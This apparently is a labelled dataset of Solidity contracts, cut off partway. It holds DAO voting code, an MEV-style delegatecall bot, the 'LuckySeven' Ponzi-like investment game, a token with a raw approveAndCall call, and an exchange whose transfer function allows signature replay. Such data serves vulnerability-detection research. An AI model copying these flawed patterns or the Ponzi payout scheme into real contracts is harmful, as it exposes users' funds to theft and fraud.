function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract ContributionReward is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
using SafeMath for uint;
event NewContributionProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
string _descriptionHash,
int256 _reputationChange,
uint[5] _rewards,
IERC20 _externalToken,
address _beneficiary
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event RedeemReputation(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
int256 _amount);
event RedeemEther(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemNativeToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
event RedeemExternalToken(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _beneficiary,
uint256 _amount);
struct ContributionProposal {
uint256 nativeTokenReward;
int256 reputationChange;
uint256 ethReward;
IERC20 externalToken;
uint256 externalTokenReward;
address payable beneficiary;
uint256 periodLength;
uint256 numberOfPeriods;
uint256 executionTime;
uint[4] redeemedPeriods;
}
mapping(address=>mapping(bytes32=>ContributionProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteApproveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
require(organizationsProposals[address(proposal.avatar)][_proposalId].executionTime == 0);
require(organizationsProposals[address(proposal.avatar)][_proposalId].beneficiary != address(0));
if (_param == 1) {
organizationsProposals[address(proposal.avatar)][_proposalId].executionTime = now;
}
emit ProposalExecuted(address(proposal.avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(
_voteApproveParams,
_intVote
);
parameters[paramsHash].voteApproveParams = _voteApproveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteApproveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return (keccak256(abi.encodePacked(_voteApproveParams, _intVote)));
}
function proposeContributionReward(
Avatar _avatar,
string memory _descriptionHash,
int256 _reputationChange,
uint[5] memory _rewards,
IERC20 _externalToken,
address payable _beneficiary
)
public
returns(bytes32)
{
validateProposalParams(_reputationChange, _rewards);
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 contributionId = controllerParams.intVote.propose(
2,
controllerParams.voteApproveParams,
msg.sender,
address(_avatar)
);
address payable beneficiary = _beneficiary;
if (beneficiary == address(0)) {
beneficiary = msg.sender;
}
ContributionProposal memory proposal = ContributionProposal({
nativeTokenReward: _rewards[0],
reputationChange: _reputationChange,
ethReward: _rewards[1],
externalToken: _externalToken,
externalTokenReward: _rewards[2],
beneficiary: beneficiary,
periodLength: _rewards[3],
numberOfPeriods: _rewards[4],
executionTime: 0,
redeemedPeriods:[uint(0), uint(0), uint(0), uint(0)]
});
organizationsProposals[address(_avatar)][contributionId] = proposal;
emit NewContributionProposal(
address(_avatar),
contributionId,
address(controllerParams.intVote),
_descriptionHash,
_reputationChange,
_rewards,
_externalToken,
beneficiary
);
proposalsInfo[address(controllerParams.intVote)][contributionId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return contributionId;
}
function redeemReputation(bytes32 _proposalId, Avatar _avatar) public returns(int256 reputation) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 0);
proposal.reputationChange = 0;
reputation = int(periodsToPay) * _proposal.reputationChange;
if (reputation > 0) {
require(
ControllerInterface(
_avatar.owner()).mintReputation(uint(reputation), _proposal.beneficiary, address(_avatar)));
} else if (reputation < 0) {
require(
ControllerInterface(
_avatar.owner()).burnReputation(uint(reputation*(-1)), _proposal.beneficiary, address(_avatar)));
}
if (reputation != 0) {
proposal.redeemedPeriods[0] = proposal.redeemedPeriods[0].add(periodsToPay);
emit RedeemReputation(address(_avatar), _proposalId, _proposal.beneficiary, reputation);
}
proposal.reputationChange = _proposal.reputationChange;
}
function redeemNativeToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 1);
proposal.nativeTokenReward = 0;
amount = periodsToPay.mul(_proposal.nativeTokenReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).mintTokens(amount, _proposal.beneficiary, address(_avatar)));
proposal.redeemedPeriods[1] = proposal.redeemedPeriods[1].add(periodsToPay);
emit RedeemNativeToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.nativeTokenReward = _proposal.nativeTokenReward;
}
function redeemEther(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 2);
proposal.ethReward = 0;
amount = periodsToPay.mul(_proposal.ethReward);
if (amount > 0) {
require(ControllerInterface(_avatar.owner()).sendEther(amount, _proposal.beneficiary, _avatar));
proposal.redeemedPeriods[2] = proposal.redeemedPeriods[2].add(periodsToPay);
emit RedeemEther(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
proposal.ethReward = _proposal.ethReward;
}
function redeemExternalToken(bytes32 _proposalId, Avatar _avatar) public returns(uint256 amount) {
ContributionProposal memory _proposal = organizationsProposals[address(_avatar)][_proposalId];
ContributionProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.executionTime != 0);
uint256 periodsToPay = getPeriodsToPay(_proposalId, address(_avatar), 3);
proposal.externalTokenReward = 0;
if (proposal.externalToken != IERC20(0) && _proposal.externalTokenReward > 0) {
amount = periodsToPay.mul(_proposal.externalTokenReward);
if (amount > 0) {
require(
ControllerInterface(
_avatar.owner())
.externalTokenTransfer(_proposal.externalToken, _proposal.beneficiary, amount, _avatar));
proposal.redeemedPeriods[3] = proposal.redeemedPeriods[3].add(periodsToPay);
emit RedeemExternalToken(address(_avatar), _proposalId, _proposal.beneficiary, amount);
}
}
proposal.externalTokenReward = _proposal.externalTokenReward;
}
function redeem(bytes32 _proposalId, Avatar _avatar, bool[4] memory _whatToRedeem)
public
returns(int256 reputationReward, uint256 nativeTokenReward, uint256 etherReward, uint256 externalTokenReward)
{
if (_whatToRedeem[0]) {
reputationReward = redeemReputation(_proposalId, _avatar);
}
if (_whatToRedeem[1]) {
nativeTokenReward = redeemNativeToken(_proposalId, _avatar);
}
if (_whatToRedeem[2]) {
etherReward = redeemEther(_proposalId, _avatar);
}
if (_whatToRedeem[3]) {
externalTokenReward = redeemExternalToken(_proposalId, _avatar);
}
}
function getPeriodsToPay(bytes32 _proposalId, address _avatar, uint256 _redeemType) public view returns (uint256) {
require(_redeemType <= 3, "should be in the redeemedPeriods range");
ContributionProposal memory _proposal = organizationsProposals[_avatar][_proposalId];
if (_proposal.executionTime == 0)
return 0;
uint256 periodsFromExecution;
if (_proposal.periodLength > 0) {
periodsFromExecution = (now.sub(_proposal.executionTime))/(_proposal.periodLength);
}
uint256 periodsToPay;
if ((_proposal.periodLength == 0) || (periodsFromExecution >= _proposal.numberOfPeriods)) {
periodsToPay = _proposal.numberOfPeriods.sub(_proposal.redeemedPeriods[_redeemType]);
} else {
periodsToPay = periodsFromExecution.sub(_proposal.redeemedPeriods[_redeemType]);
}
return periodsToPay;
}
function getRedeemedPeriods(bytes32 _proposalId, address _avatar, uint256 _redeemType)
public
view
returns (uint256) {
return organizationsProposals[_avatar][_proposalId].redeemedPeriods[_redeemType];
}
function getProposalEthReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].ethReward;
}
function getProposalExternalTokenReward(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].externalTokenReward;
}
function getProposalExternalToken(bytes32 _proposalId, address _avatar) public view returns (address) {
return address(organizationsProposals[_avatar][_proposalId].externalToken);
}
function getProposalExecutionTime(bytes32 _proposalId, address _avatar) public view returns (uint256) {
return organizationsProposals[_avatar][_proposalId].executionTime;
}
function validateProposalParams(int256 _reputationChange, uint[5] memory _rewards) private pure {
require(((_rewards[3] > 0) || (_rewards[4] == 1)), "periodLength equal 0 require numberOfPeriods to be 1");
if (_rewards[4] > 0) {
require(!(int(_rewards[4]) == -1 && _reputationChange == (-2**255)),
"numberOfPeriods * _reputationChange will overflow");
require((int(_rewards[4]) * _reputationChange) / int(_rewards[4]) == _reputationChange,
"numberOfPeriods * reputationChange will overflow");
require((_rewards[4] * _rewards[0]) / _rewards[4] == _rewards[0],
"numberOfPeriods * tokenReward will overflow");
require((_rewards[4] * _rewards[1]) / _rewards[4] == _rewards[1],
"numberOfPeriods * ethReward will overflow");
require((_rewards[4] * _rewards[2]) / _rewards[4] == _rewards[2],
"numberOfPeriods * texternalTokenReward will overflow");
}
}
} | 0 | 1,914 |
pragma solidity ^0.8.0;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
}
interface IWETH {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function deposit() external payable;
function withdraw(uint wad) external;
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
receive() external payable {}
fallback() external payable {}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract delegateCaller is Ownable {
using SafeERC20 for IERC20;
using Address for address;
IWETH weth;
address operator = address(0);
constructor() {
weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
modifier onlyOperator {
require(msg.sender == owner || msg.sender == operator, "Only owner or operator can call it");
_;
}
function withdrawToken(IERC20 _TokenAddress) public onlyOwner {
uint256 qty = _TokenAddress.balanceOf(address(this));
_TokenAddress.safeTransfer(owner, qty);
}
function withdraw() public onlyOwner {
uint256 contractBalance = address(this).balance;
address payable _to = owner;
_to.transfer(contractBalance);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function delegateCallExec(address to, uint256 gas, uint256 gasPrice, bytes calldata data) external onlyOperator {
uint256 bribe;
uint256 balance = weth.balanceOf(address(this));
to.functionDelegateCall(data);
bribe = gas * gasPrice;
if (balance > bribe) {
weth.withdraw(bribe);
block.coinbase.call{value: bribe}(new bytes(0));
}
}
} | 0 | 1,596 |
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SimpleReceiver is Ownable {
receive() external payable {}
function withdraw() external onlyOwner {
payable(owner()).call{value: address(this).balance}("");
}
} | 0 | 1,913 |
pragma solidity ^0.4.24;
contract LuckySeven {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 7;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
bool public gameStarted;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function startGame() public onlyOwner {
gameStarted = true;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(gameStarted);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(85).div(1000));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(35).div(1000));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,245 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CRYPTAU is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function CRYPTAU(
) {
balances[msg.sender] = 1000000000000000000000000000;
totalSupply = 1000000000000000000000000000;
name = "CRYPTAU";
decimals = 18;
symbol = "CRPTAU";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,736 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => uint256) public orderPaymentFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '2',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
}
